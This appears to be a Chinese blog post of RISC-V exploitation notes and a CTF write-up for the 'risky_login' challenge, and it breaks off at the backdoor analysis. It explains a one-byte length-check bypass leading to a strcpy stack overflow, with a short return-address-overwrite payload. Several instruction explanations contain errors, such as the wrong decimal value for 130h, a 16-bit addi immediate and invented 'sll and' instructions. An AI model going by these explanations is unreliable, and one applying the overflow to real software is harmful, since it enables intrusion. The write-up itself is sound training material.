1. Posts/

RISC-V PWN学习

·11267 字·23 分钟
PWN学习记录 CTF PWN riscv64 异构PWN IoT
作者
ta0lve
一些记录,一点思考
其他架构PWN学习记录 - This article is part of a series.
Part 1: This Article

本文是一篇RISC-V PWN的学习记录,同时也是羊城杯2023 risky_login一题的wp.


前言 #

这个周末刚打完的羊城杯的第一题risky_login是一道漏洞比较简单的RISC-V架构的基础题,可以借这道题熟悉一下RISC-V架构,扩展一下知识面。

以下我将结合这道题记录一下我的RISC-V基础知识的学习

(wp在文章的最后)


RISC-V基础 #

RISC-V64 pwn题,与常见的X86架构和ARM架构不太一样

  • 目前市场上主流的芯片架构有 X86、ARM、RISC-V和MIPS四种
    • RISC-V 架构是基于 精简指令集计算(RISC)原理建立的开放 指令集架构(ISA),RISC-V是在指令集不断发展和成熟的基础上建立的全新指令
    • 实际上,ARM、MIPS都是采取 精简指令集(RISC)的处理器架构,基于RISC原理建立
  • 经改进,这种架构可支持高级语言的优化执行。其算术和逻辑运算采用三个操作数的形式,允许编译器优化复杂的表达式

安装Ghidra #

我们将二进制拖进IDA中,可以看到汇编指令确实和我们常见的X86不太一样,按一下F5或是Tab键,我们还发现IDA不能将RISC-V架构的二进制文件转成伪代码,所以我们考虑安装下载另一个强大的反编译工具: Ghidra

安装方式可以参考官方:

To install an official pre-built multi-platform Ghidra release:

  • Install JDK 17 64-bit
  • Download a Ghidra release file
  • Extract the Ghidra release file
  • Launch Ghidra: ./ghidraRun (or ghidraRun.bat for Windows)

安装好了就可以用ghidra打开二进制文件来查看伪代码了,

比如这个后门函数:

image-20230904114441046

当然这个程序不会很复杂,所以直接看IDA的汇编代码也是完全可以的


寄存器学习 #

先放几个,之后慢慢补(鸽)


x86下的一些寄存器复习:

除了ESP寄存器,x86架构还有其他与栈相关的寄存器:

  • ESP(Extended Stack Pointer)是 栈指针寄存器,用于指示当前栈顶的地址
    • 即栈的生长方向向下时,ESP存储的是栈顶元素的地址
    • 当函数进行调用时,该寄存器会被修改,使其指向分配给该函数的新栈帧的顶部。
    • 在函数返回时,栈上的数据会被弹出,同时ESP的值会恢复到调用该函数之前的状态,以指向上一个栈帧的顶部。
  • EBP(Extended Base Pointer)是 帧指针寄存器,用于指示当前函数堆栈帧的起始地址。
  • ESI(Source Index)和EDI(Destination Index)寄存器常用于字符串操作,其中ESI通常用于读取源数据,EDI用于写入目标数据。

RISC-V的 sp 寄存器

  • 与x86的栈指针 esp/rsp 寄存器类似
  • RISC-V的sp寄存器(Stack Pointer)用于指示栈的位置,它存储当前栈顶的地址
  • x86架构中,ESP寄存器(Extended Stack Pointer)也用于指示栈的位置,它存储当前栈顶的地址。

RISC-V的 fp 寄存器

  • 与x86的帧指针 ebp/rbp 寄存器类似
  • RISC-V的fp寄存器(Frame Pointer)用于指示函数堆栈帧的起始地址。
  • x86架构中,EBP寄存器(Base Pointer)也用于指示函数堆栈帧的起始地址

RISC-V的 s0 寄存器

  • s0寄存器通常用于保存临时数据和中间计算结果,并且在函数调用和返回过程中可能会被修改
    • 作为通用寄存器,s0寄存器没有固定的特殊作用,而是根据编程的需要来使用。
    • 在函数调用中,s0寄存器可用于保存临时变量、函数参数或其他需要暂存的数据。
    • 例如,可以使用s0寄存器来存储函数内的局部变量或进行运算的中间结果。
  • 在RISC-V的编程约定中,通常将s0寄存器用作临时寄存器,在函数调用过程中可以被随时修改。
  • 真正用于栈指针功能的寄存器是sp寄存器,它用于指示栈的位置和管理函数调用过程中的内存分配。

RISC-V的 pc 寄存器

  • pc(Program Counter)存储当前指令的地址,
  • 类似于x86的 EIP 寄存器(Extended Instruction Pointer)

RISC-V的其他寄存器

  • RISC-V的 x1-x31 寄存器,也称为x0-x31,用于存储通用数据,类似于x86的寄存器AX,BX,CX
  • RISC-V的 x0 寄存器常被约定为零寄存器,并且不可被写入,类似于x86的寄存器 EAX 中的零标志
  • RISC-V的浮点寄存器 f0-f31 用于存储浮点数,类似于x86的 XMM0-XMM15 寄存器

汇编指令学习 #

简单了解一些RSIC-V指令:

加法指令(add):

add x1, x2, x3    # 将x2和x3寄存器中的值相加,结果保存在x1寄存器
add x4, x5, x6    # 将x5和x6寄存器中的值相加,结果保存在x4寄存器

加载指令(lw):

lw x2, 0(x3)     # 将位于内存地址x3的字中的内容加载到x2寄存器
lw x4, 4(x5)     # 将位于内存地址x5+4的字中的内容加载到x4寄存器

减法指令(sub):

sub x1, x2, x3    # 将x3寄存器中的值从x2寄存器中减去,结果保存在x1寄存器
sub x4, x5, x6    # 将x6寄存器中的值从x5寄存器中减去,结果保存在x4寄存器

存储指令(sw):

sw x2, 0(x3)     # 将x2寄存器中的内容存储到内存地址x3的字中
sw x4, 4(x5)     # 将x4寄存器中的内容存储到内存地址x5+4的字中

加载指令 #

先复习一下什么是零扩展

零扩展(Zero Extension)是一种数据扩展操作,用于将低位数据的符号位补齐为零,将较小的数据类型(如字节或半字)扩展为较大的数据类型(如字或双字)。在零扩展中,符号位不会影响数值的扩展结果,只是简单地用零填充高位。

  • 在x86和x64指令集中,movzx指令 就是 零扩展移动
    • 例如:movzx ebx,al将一个字节从al寄存器复制到ebx的低位字节,然后用零填充ebx的其余字节。
  • 在x64上,大多数写入任何通用寄存器的低32位的指令都会将目标寄存器的高一半置零。
    • 例如,指令 mov eax,1234 将清除rax寄存器的高32位。
  • 简而言之,零扩展就是如果位数不够时,直接在高位补零
    • 原来的无符号数字的值保持不变
    • 但是原来的有符号数字的值就发生了改变

举个例子:假设我们有一个8位的二进制数:0110 1011

它代表一个无符号的整数107和一个有符号的整数-37(当使用二进制补码表示法时)。

如果我们进行零扩展将其扩展为16位,那么符号位之后的所有位将填充为零,如下所示:

0000 0000 0110 1011

可以看到,高8位都被填充为零,原始的8位数据在低位保持不变。

这样,我们将8位数据零扩展为16位数据,使得原始数据在更大数据类型中占据了相同的位置,而不会改变无符号数字的数值本身。

当然,有符号数字的数值就发生了改变。


再来看看符号扩展

符号扩展(Sign Extension)是一种数据扩展操作,用于将较小的数据类型(如字节或半字)扩展为较大的有符号数据类型(如字或双字)。在符号扩展中,通过复制原始数据的最高有效位(符号位)来填充高位,以保持数值的有符号性质。

简而言之,符号扩展就是如果位数不够时,直接在高位补原来的符号位的值

  • 原来的有符号数字的值保持不变
  • 但是原来的无符号数字的值就发生了改变

例如,假设我们有一个8位的二进制数:1101 0011。它代表一个有符号的补码整数-45。

如果我们进行符号扩展将其扩展为16位,那么符号位会被复制填充到高位,如下所示:

1111 1111 1101 0011

可以看到,高8位都被填充为原始符号位的值,即1。这样,我们将8位数据符号扩展为16位数据,保留了原始数据的有符号特征。

lb(加载字节):

  • 功能:从内存中加载一个字节(8位),进行有符号扩展,并存储到目标寄存器中。
    • 注意:如果加载的对应地址的数据大于一字节(8位),就会造成数据丢失,是一个有漏洞的危险指令
    • 可以用来绕过一些检测,如在对一个数加载一个字节之后再进行比较,我们可以使其后8位满足条件绕过检测
  • 语法:lb rd, rs1, imm
    • rd:目标寄存器,存储加载的数据
    • rs1:源寄存器,用于计算内存地址
    • imm:立即数偏移量,与rs1相加得到内存地址
lb x10, x2, 4    # 从内存地址(x2+4)处加载一个字节数据到x10,并进行有符号扩展

lh(加载半字):

  • 功能:从内存中加载一个半字(16位),进行有符号扩展,并存储到目标寄存器中。
    • 注意:如果加载的对应地址的数据大于一个半字(16位),就会造成数据丢失,是一个有漏洞的危险指令
  • 语法:lh rd, rs1, imm
    • rd:目标寄存器,存储加载的数据
    • rs1:源寄存器,用于计算内存地址
    • imm:立即数偏移量,与rs1相加得到内存地址
lh x5, x9, -8    # 从内存地址(x9-8)处加载一个半字数据到x5,并进行有符号扩展

lw(加载字):

  • 功能:从内存中加载一个字(32位),并存储到目标寄存器中
    • 注意:如果加载的对应地址的数据大于一个字(32位),就会造成数据丢失,是一个有漏洞的危险指令
  • 语法:lw rd, rs1, imm
    • rd:目标寄存器,存储加载的数据
    • rs1:源寄存器,用于计算内存地址
    • imm:立即数偏移量,与rs1相加得到内存地址
x8lw x8, x3, 16    # 从内存地址(x3+16)处加载一个字数据到x8

ld(加载双字):

  • 功能:从内存中加载一个双字(64位),并存储到目标寄存器中
  • 语法:ld rd, rs1, imm
    • rd:目标寄存器,存储加载的数据
    • rs1:源寄存器,用于计算内存地址
    • imm:立即数偏移量,与rs1相加得到内存地址
ld x11, x6, -24  # 从内存地址(x6-24)处加载一个双字数据到x11

lbu(加载字节无符号整数):

  • 功能:从内存中加载一个字节(8位)无符号整数,并进行零扩展后存储到目标寄存器中。
  • 语法:lbu rd, rs1, imm
    • rd:目标寄存器,存储加载的数据
    • rs1:源寄存器,用于计算内存地址
    • imm:立即数偏移量,与rs1相加得到内存地址
lbu x4, x7, 8    # 从内存地址(x7+8)处加载一个字节无符号整数到x4,并进行零扩展

逻辑与移位指令 #

逻辑与指令(and):

and x1, x2, x3    # 对x2和x3寄存器中的值进行逻辑与操作,结果保存在x1寄存器

逻辑或指令(or):

or x1, x2, x3     # 对x2和x3寄存器中的值进行逻辑或操作,结果保存在x1寄存器

或指令(xor):

xor x1, x2, x3    # 对x2和x3寄存器中的值进行异或操作(逻辑异或),结果保存在x1寄存器

逻辑与非指令(andn):

andn x1, x2, x3    # 对x2和x3寄存器中的值进行逻辑与非操作,结果保存在x1寄存器

逻辑或非指令(orn):

orn x1, x2, x3    # 对x2和x3寄存器中的值进行逻辑或非操作,结果保存在x1寄存器

左移指令(sll):

sll x1, x2, x3     # 将寄存器x2的值左移x3位,结果保存在寄存器x1中

右移指令(srl):

srl x1, x2, x3     # 将寄存器x2的值右移x3位(逻辑右移),结果保存在寄存器x1中

算术右移指令(sra):

sra x1, x2, x3     # 将寄存器x2的值右移x3位(算术右移),结果保存在寄存器x1中

左移扩展指令(slli):

slli x1, x2, 4     # 将寄存器x2的值左移4位,结果保存在寄存器x1中,同时补齐低位的0

右移扩展指令(srli):

srli x1, x2, 4     # 将寄存器x2的值右移4位(逻辑右移),结果保存在寄存器x1中,同时补齐高位的

循环左移指令(rol):

rol x1, x2, x3    # 将x2寄存器中的值循环左移x3位,结果保存在x1寄存器

循环右移指令(ror):

ror x1, x2, x3    # 将x2寄存器中的值循环右移x3位,结果保存在x1寄存器

移位左逻辑和指令(sll and):

sll and x1, x2, x3    
# 对x2寄存器中的值左移x3位,
# 然后与x1寄存器中的值进行逻辑与操作,
# 结果保存在x1寄存器

移位右逻辑和指令(srl and):

srl and x1, x2, x3    
# 对x2寄存器中的值右移x3位,
# 然后与x1寄存器中的值进行逻辑与操作,
# 结果保存在x1寄存器

移位右算术和指令(sra and):

sra and x1, x2, x3    
# 对x2寄存器中的值右移x3位(算术右移),
# 然后与x1寄存器中的值进行逻辑与操作,
# 结果保存在x1寄存器

跳转指令(jal):

jal x1, label    # 跳转到标签为"label"的指令,并将返回地址保存在x1寄存器
jal x2, label2   # 跳转到标签为"label2"的指令,并将返回地址保存在x2寄存器

比较指令(slt):

slt x1, x2, x3    # 如果x2寄存器中的值小于x3寄存器中的值,则将x1寄存器置为1,否则置为0
slt x4, x5, x6    # 如果x5寄存器中的值小于x6寄存器中的值,则将x4寄存器置为1,否则置为0

条件分支指令 #

相等条件分支(beq):

beq x1, x2, label    # 如果x1和x2寄存器中的值相等,则跳转到标签为"label"的指令

不相等条件分支(bne):

bne x1, x2, label    # 如果x1和x2寄存器中的值不相等,则跳转到标签为"label"的指令

小于条件分支(blt):

blt x1, x2, label    # 如果x1寄存器中的值小于x2寄存器中的值,则跳转到标签为"label"的指令

小于等于条件分支(ble):

ble x1, x2, label    # 如果x1寄存器中的值小于等于x2寄存器中的值,则跳转到标签为"label"的指令

大于条件分支(bgt):

bgt x1, x2, label    # 如果x1寄存器中的值

下表给出了一系列伪指令及其依赖的真实的处理器物理指令(这些伪指令都依赖于x0寄存器,从中可以看到x0寄存器的作用:

img


下表是另外一些伪指令及其被汇编之后的物理指令:

img

本题中出现的部分指令复习:

addi sp, sp, -130h  
// 将栈指针 sp 加上 -130h字节,并将结果存储回sp中

sub rd, rs1, rs2
// 将寄存器rs2的值从寄存器rs1中减去,并将结果存储在目标寄存器rd中。

load rd, rs1, offset
// 从rs1加上偏移量offset所得到的内存地址中加载数据,并将数据存储在目标寄存器rd中。

store rs1, rs2, offset
// 将寄存器rs2中的数据存储到rs1加上偏移量offset所得到的内存地址中。

sd rs, offset(base)  
// base+offset = rs, 可以理解为"send"
sd ra, 120h+var_s8(sp)  
// 将返回地址 ra 保存到栈帧中偏移为 120h+var_s8 的位置
    
jump jalr rd, offset(rs1)
// 将当前程序地址存储在寄存器rd中,并无条件跳转到rs1加上偏移量offset所得到的地址中。

shift sll rd, rs1, rs2
// 将寄存器rs1的值左移rs2位,并将结果存储在目标寄存器rd中。

指令详解: #

先放几个,之后慢慢补(鸽)

addi #

addi 是RISC-V汇编指令中的一条整数加法指令,用于将一个立即数与源寄存器的值相加,并将结果存储到目标寄存器中。

该指令的语法如下:

addi rd, rs, immediate

其中,rd 是目标寄存器,用于保存运算结果;rs 是源寄存器,包含要参与加法运算的值;immediate 是一个 16 位立即数,表示要与 rs 寄存器的值相加的常数。

具体的操作步骤如下:

  1. 从源寄存器 rs 中获取要参与加法运算的值。
  2. 将立即数 immediate 进行有符号扩展,得到一个 32 位的常数。
  3. rs 寄存器的值与常数相加。
  4. 将相加的结果存储到目标寄存器 rd 中。

需要注意的是,addi 指令执行加法操作时,没有进位产生,且不会修改条件码寄存器。此外,由于立即数是 16 位有符号数,因此其范围为 -32768 到 32767。如果加法结果溢出了这个范围,可能会导致错误的结果。


sd #

sd 是 RISC-V 汇编指令中的一条存储指令,用于将一个 64 位(8 字节)的值存储到内存中。

该指令的语法如下:

sd rs, offset(base)

其中,rs 是源寄存器,包含要写入内存的数据;offset 是基址寄存器 base 的偏移量,表示存储位置相对于 base 寄存器的位移。

具体的操作步骤如下:

  1. 从寄存器 rs 中获取要存储的 64 位数据。
  2. 计算存储位置的地址,通过将基址寄存器 base 中的值与偏移量 offset 相加得到。
  3. 将 64 位数据写入计算出的存储位置,即将数据存储到内存中。

需要注意的是,sd 指令要求存储位置的地址必须是 8 字节对齐的(地址是 8 的倍数),否则可能会导致运行时错误。


li #

在 RISC-V 汇编中,li 并不是一条单独的指令,而是一种伪指令(pseudo-instruction)。li是一个常用的伪指令,它被用来加载一个立即数到寄存器中。由于RISC-V指令集的设计,无法直接将一个立即数加载到一个寄存器中。“li"指令会被汇编器转化为一系列指令来实现加载立即数的功能。

以下是一个常见的用法:

li rd, imm
  • rd为目标寄存器,用于存储立即数。
  • imm为要加载的立即数。

一般来说,“li"指令会被转化为以下两条指令来实现立即数加载:

lui rd, upper
addi rd, rd, lower
  • lui指令将常数的高位部分放入目标寄存器rd中。
  • addi指令将常数的低位部分与目标寄存器rd相加,并将结果存回目标寄存器rd中。

举例来说,如果要将立即数123加载到寄存器x5中,可以使用以下指令序列来实现:

lui x5, %hi(123)
addi x5, x5, %lo(123)

其中,%hi(123)表示获取123的高位部分,%lo(123)表示获取123的低位部分。

请注意,“li"指令是一个伪指令,由汇编器在编译时转化为真正的指令,所以在实际的RISC-V汇编语言中,我们不会直接使用"li"指令。


如何调试riscv64程序 #

安装qemu #

# 先把对应的库下载好:
sudo apt install libc6-riscv64-cross
sudo apt install binutils-riscv64-linux-gnu
sudo apt install gcc-riscv64-linux-gnu
sudo apt install binutils-riscv64-unknown-elf
sudo apt install gcc-riscv64-unknown-elf
sudo apt install qemu-system-misc
sudo apt install qemu-user

# 运行一下:
qemu-riscv64 pwn

# 如果出现以下报错:
qemu-riscv64: could not open ''/lib/ld-linux-riscv64-lp64d.so.1'

#说明我们文件下载的地方和查找的地方不一样,只要把文件cp一下就可以了
sudo cp /usr/riscv64-linux-gnu/lib/* /lib/

安装gdb-multiarch #

# 安装
sudo apt-get install gdb-multiarch

# 检测
gdb-multiarch -v

image-20230904154648389


题目分析 #

main函数汇编分析 #

如何在纯汇编下找到main函数呢?

点进程序的入口函数——start函数,我们可以看到他调用了一个函数

.text:0000000012345606 17 05 00 00 13 05 45 1E       la              a0, sub_123457EA

右键或快捷键"n"重命名为 main:

image-20230904151715086


题目中的main的汇编代码如下:(copy自IDA)

# 原来是sub_123457EA函数,重命名为main函数
.text:00000000123457EA
.text:00000000123457EA                               # int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000123457EA                               main:                                   # DATA XREF: start+6↑o
.text:00000000123457EA
.text:00000000123457EA                               var_s0=  0
.text:00000000123457EA                               var_s8=  8
.text:00000000123457EA                               arg_0=  10h
.text:00000000123457EA
.text:00000000123457EA 69 71                         addi            sp, sp, -130h
.text:00000000123457EC 06 F6                         sd              ra, 120h+var_s8(sp)
.text:00000000123457EE 22 F2                         sd              s0, 120h+var_s0(sp)
.text:00000000123457F0 00 1A                         addi            s0, sp, 120h+arg_0
.text:00000000123457F2 EF F0 FF EA                   jal             sub_123456A0
.text:00000000123457F2
.text:00000000123457F6 B7 67 34 12                   lui             a5, 12346h
.text:00000000123457FA 13 85 07 8F                   addi            a0, a5, -710h
.text:00000000123457FE 97 B0 CC ED E7 80 20 FA       call            puts
.text:00000000123457FE
.text:0000000012345806 B7 67 34 12                   lui             a5, 12346h
.text:000000001234580A 13 85 87 90                   addi            a0, a5, -6F8h
.text:000000001234580E 97 B0 CC ED E7 80 20 F9       call            puts
.text:000000001234580E
.text:0000000012345816 21 46                         li              a2, 8
.text:0000000012345818 93 85 81 87                   la              a1, unk_12347078
.text:000000001234581C 01 45                         li              a0, 0
.text:000000001234581E 97 B0 CC ED E7 80 20 F6       call            read
.text:000000001234581E
.text:0000000012345826 93 85 81 87                   la              a1, unk_12347078
.text:000000001234582A B7 67 34 12                   lui             a5, 12346h
.text:000000001234582E 13 85 87 91                   addi            a0, a5, -6E8h
.text:0000000012345832 97 B0 CC ED E7 80 E0 F9       call            printf
.text:0000000012345832
.text:000000001234583A B7 67 34 12                   lui             a5, 12346h
.text:000000001234583E 13 85 87 92                   addi            a0, a5, -6D8h
.text:0000000012345842 97 B0 CC ED E7 80 E0 F5       call            puts
.text:0000000012345842
.text:000000001234584A 93 07 04 ED                   addi            a5, s0, -130h
.text:000000001234584E 13 06 00 12                   li              a2, 120h
.text:0000000012345852 BE 85                         mv              a1, a5
.text:0000000012345854 01 45                         li              a0, 0
.text:0000000012345856 97 B0 CC ED E7 80 A0 F2       call            read
.text:0000000012345856
.text:000000001234585E 93 07 04 ED                   addi            a5, s0, -130h
.text:0000000012345862 3E 85                         mv              a0, a5
.text:0000000012345864 EF F0 3F F2                   jal             vuln
.text:0000000012345864
.text:0000000012345868 B7 67 34 12                   lui             a5, 12346h
.text:000000001234586C 13 85 87 93                   addi            a0, a5, -6C8h
.text:0000000012345870 97 B0 CC ED E7 80 00 F3       call            puts
.text:0000000012345870
.text:0000000012345878 81 47                         li              a5, 0
.text:000000001234587A 3E 85                         mv              a0, a5
.text:000000001234587C B2 70                         ld              ra, 120h+var_s8(sp)
.text:000000001234587E 12 74                         ld              s0, 120h+var_s0(sp)
.text:0000000012345880 55 61                         addi            sp, sp, 130h
.text:0000000012345882 82 80                         ret
.text:0000000012345882
.text:0000000012345882                               # End of function main

对每行代码的简要分析:

  1. addi sp, sp, -130h:将栈指针 sp 减少 130h(表示208)字节,为栈帧分配空间。

  2. sd ra, 120h+var_s8(sp):将返回地址 ra 保存到栈帧中偏移为 120h+var_s8 的位置。

  3. sd s0, 120h+var_s0(sp):将寄存器 s0 保存到栈帧中偏移为 120h+var_s0 的位置。

  4. addi s0, sp, 120h+arg_0:计算参数 arg_0 在栈帧中的地址,并将结果存入寄存器 s0。

  5. jal sub_123456A0:无条件跳转到子函数 sub_123456A0 执行,并将返回地址保存到寄存器 ra

    • 跳转到了一个新的函数
    • image-20230904151502086
    • 嗯,让我们继续转到main函数的汇编进行分析
  6. lui a5, 12346h:将常数 12346h 的高 20 位加载到寄存器 a5。

  7. addi a0, a5, -710h:将寄存器 a5 减去 710h 并将结果存入寄存器 a0。

    • 通过计算得知a0寄存器的值为0x123458F0
    • 在IDA中查找地址0x123458F0可以看到是一个字符串,当然在分析汇编语言之前我们就已经shift+F12知道了有哪些字符串了(对吧师傅们)
    • image-20230904151332262
  8. call puts:调用函数 puts,将参数传递给它

    • puts("RiskY LoG1N SySTem");
      
  9. addi a0, a5, -6F8h:类似于上述步骤,将寄存器 a5 减去 6F8h 并将结果存入寄存器 a0。

  10. call puts:再次调用函数 puts

    • puts("Input ur name:")
      
  11. li a2, 8:将常数 8 加载到寄存器 a2。

  12. la a1, unk_12347078:将未知地址 unk_12347078 加载到寄存器 a1。

  13. li a0, 0:将常数 0 加载到寄存器 a0。

  14. call read:调用函数 read,读取输入并将结果存储在指定位置。

  15. la a1, unk_12347078:类似于步骤 12,将未知地址 unk_12347078 加载到寄存器 a1

    • read(0,&unk_12347078,8);
      
  16. addi a0, a5, -6E8h:类似于步骤 9,将寄存器 a5 减去 6E8h 并将结果存入寄存器 a0。

  17. call printf:调用函数 printf,并传递参数

    • printf("Hello, %s",&unk_12347078);
      
  18. lui a5, 12346h:类似于步骤 6,将常数 12346h 的高 20 位加载到寄存器 a5。

  19. addi a0, a5, -6D8h:类似于步骤 9,将寄存器 a5 减去 6D8h 并将结果存入寄存器 a0。

  20. call puts:再次调用函数 puts

    • puts("Input ur words");
      
  21. addi a5, s0, -130h:计算栈帧中变量 s0 的地址,加上 -130h 并将结果保存到寄存器 a5。

  22. li a2, 120h:将常数 120h 加载到寄存器 a2

    • 第三个参数为0x120
  23. mv a1, a5:将寄存器 a5 的值移动到寄存器 a1

    • 第二个参数为栈上的地址: auStack-130(随便写的,知道在栈上就OK了)
  24. li a0, 0:将常数 0 加载到寄存器 a0

    • 第一个参数为0
  25. call read:再次调用函数 read,读取输入并将结果存储在指定位置

    • read(0,auStack_130,0x120)
      
  26. addi a5, s0, -130h:类似于步骤 21,计算栈帧中变量 s0 的地址,并将结果保存到寄存器 a5。

  27. mv a0, a5:将寄存器 a5 的值移动到寄存器 a0。

  28. jal vuln:调用函数 vuln

    • 跳转到了一个新的函数!
    • 即重名前的 sub_12345786 函数
    • image-20230904170340241
    • 有调用puts函数和危险函数strcpy,看起来应该是一个有用的函数,mark一下,重命名为vuln,待会回来
  29. lui a5, 12346h:类似于步骤 6,将常数 12346h 的高 20 位加载到寄存器 a5。

  30. addi a0, a5, -6C8h:类似于步骤 9,将寄存器 a5 减去 6C8h 并将结果存入寄存器 a0。

  31. call puts:再次调用函数 puts。

  32. li a5, 0:将常数 0 加载到寄存器 a5。

  33. mv a0, a5:将寄存器 a5 的值移动到寄存器 a0。

  34. ld ra, 120h+var_s8(sp):将栈帧中偏移为 120h+var_s8 的位置的值加载到寄存器 ra。

  35. ld s0, 120h+var_s0(sp):将栈帧中偏移为 120h+var_s0 的位置的值加载到寄存器 s0。

  36. addi sp, sp, 130h:将栈指针 sp 增加 130h(表示208)字节,释放栈帧空间。

  37. ret:与X86的ret指令一样,pop rip,使函数执行栈中下一个地址所指向的代码

  38. end 结束对main函数的汇编分析

    • 其实我们不需要从头到尾都分析完,本题可以通过字符串的内容猜到漏洞点所在的函数vuln的地址以及后面函数的地址
    • 不过刚开始接触RISC-V架构的题目多看看汇编代码也是好的~
    • (其实是我自己想读一读汇编代码,所以做一下记录)
    • 后面的vuln函数和后门函数的汇编代码就不这么仔细的分析了,直接贴汇编代码永伪代码分析好了()

补一个Ghidra反编译的伪代码:

undefined8 main(void)
{
  undefined auStack_130 [288];  
  gp = &__global_pointer$;
  FUN_123456a0();
  puts("RiskY LoG1N SySTem");
  puts("Input ur name:");
  read(0,&DAT_12347078,8);
  printf("Hello, %s");
  puts("Input ur words");
  read(0,auStack_130,0x120);
  vuln(auStack_130);
  puts("message received");
  return 0;
}

vuln函数分析 #

先贴个汇编代码:

# 原来是sub_12345786函数,重命名为vuln函数
.text:0000000012345786                               vuln:                                   # CODE XREF: main+7A↓p
.text:0000000012345786
.text:0000000012345786                               var_s0=  0
.text:0000000012345786                               var_s8=  8
.text:0000000012345786                               arg_0=  10h
.text:0000000012345786
.text:0000000012345786 2D 71                         addi            sp, sp, -120h
.text:0000000012345788 06 EE                         sd              ra, 110h+var_s8(sp)
.text:000000001234578A 22 EA                         sd              s0, 110h+var_s0(sp)
.text:000000001234578C 00 12                         addi            s0, sp, 110h+arg_0
.text:000000001234578E 23 34 A4 EE                   sd              a0, -118h(s0)
.text:0000000012345792 03 35 84 EE                   ld              a0, -118h(s0)
.text:0000000012345796 97 B0 CC ED E7 80 A0 FD       call            strlen
.text:0000000012345796
.text:000000001234579E AA 87                         mv              a5, a0
.text:00000000123457A0 13 F7 F7 0F                   andi            a4, a5, 0FFh
.text:00000000123457A4 23 88 E1 86                   sb              a4, byte_12347070
.text:00000000123457A8 83 C7 01 87                   lbu             a5, byte_12347070
.text:00000000123457AC 3E 87                         mv              a4, a5
.text:00000000123457AE A1 47                         li              a5, 8
.text:00000000123457B0 63 FF E7 00                   bgeu            a5, a4, loc_123457CE
.text:00000000123457B0
.text:00000000123457B4 B7 67 34 12                   lui             a5, 12346h
.text:00000000123457B8 13 85 07 8E                   addi            a0, a5, -720h
.text:00000000123457BC 97 B0 CC ED E7 80 40 FE       call            puts
.text:00000000123457BC
.text:00000000123457C4 7D 55                         li              a0, -1
.text:00000000123457C6 97 B0 CC ED E7 80 A0 FF       call            exit
.text:00000000123457C6
.text:00000000123457CE                               # ---------------------------------------------------------------------------
.text:00000000123457CE
.text:00000000123457CE                               loc_123457CE:                           # CODE XREF: vuln+2A↑j
.text:00000000123457CE 93 07 84 EF                   addi            a5, s0, -108h
.text:00000000123457D2 83 35 84 EE                   ld              a1, -118h(s0)
.text:00000000123457D6 3E 85                         mv              a0, a5
.text:00000000123457D8 97 B0 CC ED E7 80 80 FB       call            strcpy
.text:00000000123457D8
.text:00000000123457E0 01 00                         nop
.text:00000000123457E2 F2 60                         ld              ra, 110h+var_s8(sp)
.text:00000000123457E4 52 64                         ld              s0, 110h+var_s0(sp)
.text:00000000123457E6 15 61                         addi            sp, sp, 120h
.text:00000000123457E8 82 80                         ret
.text:00000000123457E8
.text:00000000123457E8                               # End of function vuln

伪代码及简要分析:

void vuln(char *param_1)

{
  size_t sVar1;
  char acStack_108 [248]; //大小为0xF8 = 0x100-0x8
  gp = &__global_pointer$;
  sVar1 = strlen(param_1);
  DAT_12347070 = (byte)sVar1;
  if (8 < DAT_12347070) // 一个检测,需要绕过
  {
    puts("too long.");
    /* WARNING: Subroutine does not return */
    /* 子程序没有返回的警告,可以不用管 */
    exit(-1);
  }
  strcpy(acStack_108,param_1);
  // 危险函数strcpy,如果param_1大于0x100就会造成栈溢出
  return;
}
  • 在main 函数中我们可以向 auStack_130 写入大小为 0x120 的数据,
  • 在 vuln 函数中只要我们绕过检测,就可以将将 auStack_130 中内容复制到 acStack_108 位置,
  • 而 acStack_108 大小只有0xF8,故可以栈溢出,
  • 栈溢出时将返回地址覆盖为后门函数的地址,就可以getshell了

如何绕过检测?

我们先来看看这个分支函数的汇编代码:

# IDA中的汇编代码
.text:000000001234579E AA 87           mv              a5, a0
.text:00000000123457A0 13 F7 F7 0F     andi            a4, a5, 0FFh
.text:00000000123457A4 23 88 E1 86     sb              a4, byte_12347070
.text:00000000123457A8 83 C7 01 87     lbu             a5, byte_12347070
.text:00000000123457AC 3E 87           mv              a4, a5
.text:00000000123457AE A1 47           li              a5, 8
.text:00000000123457B0 63 FF E7 00     bgeu            a5, a4, loc_123457CE

# Ghidra中的汇编代码
1234579e aa  87            c.mv       a5,a0
123457a0 13  f7  f7  0f    andi       a4,a5,0xff
123457a4 23  88  e1  86    sb         a4,-0x790 (gp=>DAT_12347070 )  = ??
123457a8 83  c7  01  87    lbu        a5,-0x790 (gp=>DAT_12347070 )  = ??
123457ac 3e  87            c.mv       a4,a5
123457ae a1  47            c.li       a5,0x8
123457b0 63  ff  e7  00    bgeu       a5,a4,LAB_123457ce

# Ghidra 中的c.mv指令及我们上面学到的mv指令, c.li指令同理
  • 我们可以看到,程序比较的时候是先通过mv a5, a0指令将我们的strlen函数的返回值转存至r5寄存器

  • 再通过指令andi a4, a5, 0FFh将我们的字符串长度的值与立即数0xFF进行按位与

    • 只保留最低的 8 位,并将结果存储到 a4
    • 这里就已发生了数据丢失了
  • sb指令将寄存器 a4 中的数据存储到内存地址 byte_12347070 处

    • 只是将 a4 的最低有效字节(8 位)存储到给定的内存地址
  • lbu指令将 byte_12347070 地址处的字节数据加载到寄存器 a5 中

    • 由于使用 lbu 指令,加载的字节数据会进行零扩展,即高位会填充零
  • 故伪代码为 DAT_12347070 = (byte)sVar1;

    • byte 类型的 DAT_1234797 的数值只有8 位
  • 汇编代码bgeu a5,a4,LAB_123457ce 即 伪代码if (8 < DAT_12347070)

    • param_1 即我们之前输入的数据 auStack_130 的长度最大为 9 位

      • (0x120 = 0b 0001 0010 0000)
    • 要想绕过检测,长度的后8位必须小于等于 0b 0000 1000

    • 同时,acStack_108的大小为0x100-0x8,所以我们的填充字符padding为0x100-0x8+0x8(覆盖帧指针寄存器)

      • strcpy(acStack_108,param_1);
        // 危险函数strcpy,如果param_1大于0x100就会造成栈溢出
        
    • 在加上我们要覆盖返回地址的0x08大小的数据,总的payload长度为0x108

      • 二进制码为0b 1 0000 1000
      • 后8位刚好等于0x8,成功绕过
        • 如果不刚好的话我们也可以试试看覆盖返回地址能否只发送0x6位的数据,有时甚至可以只发送0x1位的数据,这些都是十分灵活的
  • 所以,我们的payload = b"a" * 0x100 + p64(backdoor_addr)

    • offset = 0x100
    • padding = b"a” * offset

后门函数分析 #

# 后门函数在IDA中不会显示为函数(可能是因为没有别的函数调用它),
